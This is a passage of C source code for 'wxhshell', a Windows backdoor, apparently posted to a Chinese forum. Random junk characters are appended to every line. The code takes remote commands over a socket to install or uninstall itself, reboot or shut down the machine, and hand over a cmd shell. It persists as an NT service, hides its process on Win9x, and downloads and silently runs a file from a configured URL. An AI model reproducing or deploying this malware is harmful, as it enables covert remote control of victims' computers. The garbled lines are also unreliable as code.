  } vK!`#W`X  
  else { 2u$-(JfoS  
HJ&P[zV^  
    switch(cmd[0]) { P3"R2-  
  a/ A c^!(  
  // 帮助 FW-I|kK.  
  case '?': { 2Wzx1_D "a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qA[lL(  
    break; V&f*+!!2  
  } W_B=}lP@x  
  // 安装 T ipH}  
  case 'i': { _=$~l^Y[  
    if(Install()) jf3Zy :*K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [-\Y?3  
    else @JGmOwZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t/[lA=0 )2  
    break; ?"@Fq2xgB4  
    } hi,=" /9  
  // 卸载 Hf('BagBL  
  case 'r': { [~N;d9H+*1  
    if(Uninstall()) q=t!COS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <)ZQRE@  
    else eJoM4v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eKr>>4,-P  
    break; D|OGlP  
    } }sxs-  
  // 显示 wxhshell 所在路径 d&^b=d FDu  
  case 'p': { /[TOy2/;%b  
    char svExeFile[MAX_PATH]; N1'"7eg/  
    strcpy(svExeFile,"\n\r"); w>2lG3H<  
      strcat(svExeFile,ExeFile); "-f]d~P>  
        send(wsh,svExeFile,strlen(svExeFile),0); |*?N#0s5h  
    break; >7BP}5`.;  
    } _\>y[e["p  
  // 重启 9(]_so24,  
  case 'b': { VV Q~;{L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Qm[((6}  
    if(Boot(REBOOT)) XKGiw 2 C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jnqp" Ult>  
    else { _YX% M|#  
    closesocket(wsh); o'lG9ePM|  
    ExitThread(0); [j@ek  
    } 3}}/,pGSc  
    break; ]L~z9)  
    } :Ak^M~6a5  
  // 关机 )?[2Y%P  
  case 'd': { "1s ]74  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $2Wk#F2c=  
    if(Boot(SHUTDOWN)) =\]gL%N-|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w5z]=dN  
    else { vGyQ306  
    closesocket(wsh); ])?dqgwa  
    ExitThread(0); B <s+I#  
    } H s)]  
    break; r)S:= Is5  
    } I~l_ky|a !  
  // 获取shell S+06pj4Ie  
  case 's': { ai;!Q%B#Q  
    CmdShell(wsh); HJr/N)d  
    closesocket(wsh); bpsyO>lx/  
    ExitThread(0); G5qsnTxUJ  
    break; Lx- %y'P  
  } 8nI~iN?"   
  // 退出 [g}^{ $`  
  case 'x': { N,w6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q<\r}1Dm  
    CloseIt(wsh); #xmiUN,|  
    break; ^(&2  
    } ^RnQX#+  
  // 离开 Y<;C>Rs  
  case 'q': { >> cW0I/`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?4SYroXUX|  
    closesocket(wsh); q[/g3D\G  
    WSACleanup(); _dd_Z40R  
    exit(1); KdR\a&[MA  
    break; tgBA(2/Co  
        } n^QDMyC;I  
  } m@nGXl'!  
  } fyUW;dj  
qF3S\ C  
  // 提示信息 gS(JgN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _$*-?*V&  
} 'tTlBf7#  
  } Db2#QQ  
?Ho$fGz  
  return; fXevr `  
} h`fZ 8|yw  
"Io-%S u+  
// shell模块句柄 NTJ,U2  
int CmdShell(SOCKET sock) 2;]tItd1  
{ lJa-O  
STARTUPINFO si; _`Kh8G {e  
ZeroMemory(&si,sizeof(si)); R&s/s`pLW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jur$O,u40l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;\"Nekd|  
PROCESS_INFORMATION ProcessInfo; yzpa\[^  
char cmdline[]="cmd"; \yymp70w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F-Z>WC{+  
  return 0; y%--/;  
} @lB1t= D  
Nt+UL/1]  
// 自身启动模式 R7Tl 1!,h  
int StartFromService(void) fo}@B &=4  
{ JBQ>"X^  
typedef struct 5YZ\@<|rH  
{ MS SHMR  
  DWORD ExitStatus; JF &$'  
  DWORD PebBaseAddress; k'$7RjCu  
  DWORD AffinityMask; lItr*,A]  
  DWORD BasePriority; =uwG.,lC  
  ULONG UniqueProcessId; D622:Y886  
  ULONG InheritedFromUniqueProcessId; unL1/JY z  
}   PROCESS_BASIC_INFORMATION; d{!zJ+n  
?Wt_Obl  
PROCNTQSIP NtQueryInformationProcess; 7({.kD6  
5}N O~Xd<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p*P0<01Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UIQ=b;J9  
tORDtMM9+  
  HANDLE             hProcess; Vfw +m1sS  
  PROCESS_BASIC_INFORMATION pbi; QL(}k)dB  
/? j^Qu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jM@@N.  
  if(NULL == hInst ) return 0; '.&,.E&{$  
qmnCa&C9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G`!;RX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Jf2:[ Mq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q~*3Z4)j  
L3Q1az!Ct  
  if (!NtQueryInformationProcess) return 0; \v_t: "  
8&f"")m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qpc2;3*7  
  if(!hProcess) return 0; sEfGf.  
xcIZ'V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nuv$B >  
28+ Sz>SP  
  CloseHandle(hProcess); VA'<  
13{"sY:PT#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4sK|l|W  
if(hProcess==NULL) return 0; [dL?N  
-p !KsU  
HMODULE hMod; Tf[-8H<  
char procName[255]; M/sqOhg  
unsigned long cbNeeded; <Q-ufF85)  
Mz{ Rh+gS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :S7yM8 b`  
skP_us~  
  CloseHandle(hProcess); 1J *wW# e  
+XRv iHA`  
if(strstr(procName,"services")) return 1; // 以服务启动 zsRN\U  
Js#c9l{{  
  return 0; // 注册表启动 `TsfscN  
} <F.Ol/'h  
 Ez1*}  
// 主模块 GrQAho  
int StartWxhshell(LPSTR lpCmdLine) Y.*lO  
{ Q}Vho.N@=  
  SOCKET wsl; !%M-w0vC9  
BOOL val=TRUE; :U[_V4? 7  
  int port=0; E 0pF; P5  
  struct sockaddr_in door; CX'E+  
't_=%^ q  
  if(wscfg.ws_autoins) Install(); c!\y\r  
$BBfsaJPT  
port=atoi(lpCmdLine); /s*>V@Q  
\T]"pE+8l  
if(port<=0) port=wscfg.ws_port; UZX)1?U  
>qUO_>  
  WSADATA data; 8"* $e I5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >%3c1  
m<f{7]fi5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `oz7Q(`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6$dm-BI  
  door.sin_family = AF_INET; $-AvH( @  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1k%ko?  
  door.sin_port = htons(port); o%9>elOju  
A07 P$3>/W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nG*6ic  
closesocket(wsl); ~D=@4(f8|  
return 1; dO//  
} yEqmB4^-  
yaR;  
  if(listen(wsl,2) == INVALID_SOCKET) { V= *J9~K  
closesocket(wsl); -5 W0K}  
return 1; TgB;R5  
} PrKl whi#  
  Wxhshell(wsl); /#se>4]  
  WSACleanup(); p+7BsW.l  
!^fJAtCN]  
return 0; ;VFr5.*x  
lqCn5|S]  
} g^4FzJ  
=U2Te  
// 以NT服务方式启动 .}<B*e=y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9iy|=  
{ @ :4Kk 4g1  
DWORD   status = 0; pNJM]-D]m~  
  DWORD   specificError = 0xfffffff; .- Lqo=o\  
n1/lE)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Wkk Nyg,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1;gSf.naG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "qm>z@K  
  serviceStatus.dwWin32ExitCode     = 0; mfN@tMp  
  serviceStatus.dwServiceSpecificExitCode = 0; rWs5s!l,  
  serviceStatus.dwCheckPoint       = 0; KJ)&(Yx  
  serviceStatus.dwWaitHint       = 0; FVmg&[ .  
C|J1x4sb@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 85{vz|(':  
  if (hServiceStatusHandle==0) return; ~&/Gx_KU  
_z5CplO  
status = GetLastError(); C|zH {.H  
  if (status!=NO_ERROR) wf@2&vJ  
{ Qd4T?5 vG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LG|,g3&  
    serviceStatus.dwCheckPoint       = 0; c6m,oS^  
    serviceStatus.dwWaitHint       = 0; w;$+7  
    serviceStatus.dwWin32ExitCode     = status; qU n>  
    serviceStatus.dwServiceSpecificExitCode = specificError; ui{_w @o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {LD8ie|x1`  
    return; KTEis!w  
  } R,bcE4WR"  
Q8q_w2s,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Pvw%,=41O  
  serviceStatus.dwCheckPoint       = 0; w$ {  
  serviceStatus.dwWaitHint       = 0; cj#q7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dZgfls  
} `@D4?8_  
n_Y]iAoc`  
// 处理NT服务事件,比如:启动、停止 (Qm;]?/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UG_0Y8$  
{ k>CtWV5B  
switch(fdwControl) Z :+#3.4$3  
{ 8!SiTOzR?  
case SERVICE_CONTROL_STOP: __iyBaX  
  serviceStatus.dwWin32ExitCode = 0; 3T/j5m}+!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $\!;*SSj  
  serviceStatus.dwCheckPoint   = 0; ?63JQ.;  
  serviceStatus.dwWaitHint     = 0; uP]o39b;V  
  { rfi`Bp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FO=1P7  
  } m_ m@>}ud  
  return; OP}p;(  
case SERVICE_CONTROL_PAUSE: \AzcW;03g[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AyO|9!F@A  
  break; _[o^23Hj  
case SERVICE_CONTROL_CONTINUE: " G6j UTt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8w[EyVHA  
  break; 9Ol_z\5  
case SERVICE_CONTROL_INTERROGATE: CM1a<bV<  
  break; `=DCX%Vw  
}; 8|NJ(D-$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "J{zfWr  
} a4RFn\4?  
b1]_e'jj  
// 标准应用程序主函数 3rg^R"&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p'k+0=  
{ x 4</\o  
F5MPy[  
// 获取操作系统版本 9lJj/  
OsIsNt=GetOsVer(); \=_q{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^(*O$N*#  
)6 <byO  
  // 从命令行安装 ~J{[]wi  
  if(strpbrk(lpCmdLine,"iI")) Install(); S5KYZ W  
_l=  
  // 下载执行文件 UiZp -Y%ki  
if(wscfg.ws_downexe) { -z$2pXT ^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HbfB[%  
  WinExec(wscfg.ws_filenam,SW_HIDE); a BH1J]_  
} S{T d/1}  
jY+S,lD  
if(!OsIsNt) { ,GU/l)os`  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]UT|BE4v  
HideProc(); !o':\hex6  
StartWxhshell(lpCmdLine); zn1Rou]6  
} WcO,4:  
else _j\=FJz[  
  if(StartFromService()) bXwoJ2  
  // 以服务方式启动 .r5oN+?e  
  StartServiceCtrlDispatcher(DispatchTable); .4FcZJvy  
else >TnQ4^;v.  
  // 普通方式启动 kseJm+Hc  
  StartWxhshell(lpCmdLine); _I-VWDCk  
\nAHpF  
return 0; 2 U`W[  
}
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只看该作者 1 发表于: 2006-10-10
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